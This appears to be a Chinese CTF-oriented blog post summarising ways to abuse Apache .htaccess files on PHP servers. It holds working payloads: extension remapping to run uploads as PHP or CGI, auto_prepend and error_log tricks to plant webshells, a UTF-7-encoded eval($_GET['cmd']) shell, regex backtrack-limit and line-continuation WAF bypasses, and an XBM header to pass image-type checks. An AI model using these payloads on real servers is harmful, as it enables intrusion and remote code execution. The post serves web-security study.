HacKerQWQ的博客空间

.htaccess的漏洞利用总结

Word count: 1.2kReading time: 5 min
2020/10/12 Share

.htaccess简介

.htaccess全称Hypertext Access(超文本入口),也叫分布式配置文件,在一个特定的目录放置一个.htaccess可以作用于此目录及其子目录

如果开启.htaccess,可以在所在文件夹和子文件下改变php.ini的配置。对于黑客来说,如果能控制.htaccess,就可以完成绕WAF、文件包含、文件上传等操作

.htaccess利用方法(前提条件)

首先目标主机必须开启.htaccess,配置在apache2.conf中,这里是部分配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# Sets the default security model of the Apache2 HTTPD server. It does
# not allow access to the root filesystem outside of /usr/share and /var/www.
# The former is used by web applications packaged in Debian,
# the latter may be used for local directories served by the web server. If
# your system is serving content from a sub-directory in /srv you must allow
# access here, or in any related virtual host.
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>

<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride ALL # 默认应该是None,ALL表示/var/www/下所有文件接受.htaccess的重写
Require all granted
</Directory>

# AccessFileName: The name of the file to look for in each directory
# for additional configuration directives. See also the AllowOverride
# directive.
#
AccessFileName .htaccess # 分布式配置文件也不一定叫.htaccess,可以在这里自己设置

#
# The following lines prevent .htaccess and .htpasswd files from being
# viewed by Web clients.
#
<FilesMatch "^\.ht">
Require all denied # 防止.htaccess和.htpasswd被Web用户看到
</FilesMatch>

利用方式&&tricks

服务器须安装好apache2和php
命令分别是

1
2
sudo apt-get install apache2
sudo apt-get install php

以上都是ubuntu下的命令,可根据自己系统选择相应的命令

将指定后缀名的文件当做php解析

1
2
AddType text/plain ".hhh"
AddType(AddHandler) application/x-httpd-php ".cc"

以上命令分别是将.hhh后缀的解析为文本,以及将.cc解析为php文件执行

1
AddHandler php7-script .txt

用途:文件上传时绕过黑名单校验,不过现在一般不会单独考这个
如果开启了cgi扩展,也可以来解析shell脚本
.htaccess

1
2
Options +ExecCGI
AddHandler cgi-script .sh

solve.sh

1
2
3
4
5
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls -lah /
exit 0

php_value利用php中的配置

php.ini配置选项列表

自动包含文件

1
2
php_value auto_prepend_file xxx.php
php_value auto_append_file "php://filter/read=convert.base64-encode/resource=./shell.php"

分别表示自动在php文件的头/尾添加包含文件的内容,支持php为协议

1
php_value include_path "xxx"

表示引入文件的路径,一般用于改变包含文件的路径,从而去包含别的路径的文件
用途:文件包含,配合AddType使用
例题:刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)

利用报错信息写文件

1
2
php_value error_reporting 32767//报告等级
php_value error_log /var/www/html/shell.php

开启报错的同时将报错信息写入文件
用途:利用报错写shell
例题:刷题记录:[XNUCA2019Qualifier]EasyPHP

UTF-7编码绕过尖括号过滤

1
2
php_value zend.multibyte 1 #启用多字节编码的源文件解析
php_value zend.script_encoding "UTF-7"

将代码的解析方式改成UTF-7

1
mb_string_encoding('<?php eval($_GET[\'cmd\']); ?>',"utf-7")

例题:I33t-hoster

prce绕过正则匹配

1
2
php_value prce.backtrack_limit 0
php_value prce.jit 0

if(preg_match("/[^a-z\.]/", $filename) == 1) 而不是if(preg_match("/[^a-z\.]/", $filename) !== 0),因此可以通过php_value 设置正则回朔次数来使正则匹配的结果返回为false而不是0或1,默认的回朔次数比较大,可以设成0,那么当超过此次数以后将返回false

tricks

\换行绕过不合法字符&&绕WAF

前提:.htaccess可以像shell那样将两行内容解释为一行

  • 绕过过滤字符
    因为当.htaccess中有不合语法的内容时,访问服务器会报500错误,如果题目中乱写.htaccess文件,可以通过#\\组合来注释不想要的内容
    比如:题目中有file_put_contents($filename, $content . "\nJust one chance"),可以使用#\\,#将代码注释,\\将本行于下一行连接,效果就是注释掉后面所有内容,payload为:

    1
    2
    3
    4
    5
    php_value include_path "/tmp"
    php_value zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    # \
    Just one chance
  • 绕过WAF
    如果题目过滤了file的话,可以使用\\来将file分开

    1
    2
    3
    php_value auto_prepend_fi\
    le ".htaccess"
    #<?php eval($_POST['a']);?>\

    绕过exif_imagetype()上传.htaccess

    1
    2
    #define width 20
    #define height 20

    采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
    在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
    XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。
    也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:
    #define test_width 16
    #define test_height 7

CATALOG
  1. 1. .htaccess简介
  2. 2. .htaccess利用方法(前提条件)
  3. 3. 利用方式&&tricks
    1. 3.1. 将指定后缀名的文件当做php解析
    2. 3.2. php_value利用php中的配置
      1. 3.2.1. 自动包含文件
      2. 3.2.2. 利用报错信息写文件
      3. 3.2.3. UTF-7编码绕过尖括号过滤
      4. 3.2.4. prce绕过正则匹配
    3. 3.3. tricks
      1. 3.3.1. \换行绕过不合法字符&&绕WAF
      2. 3.3.2. 绕过exif_imagetype()上传.htaccess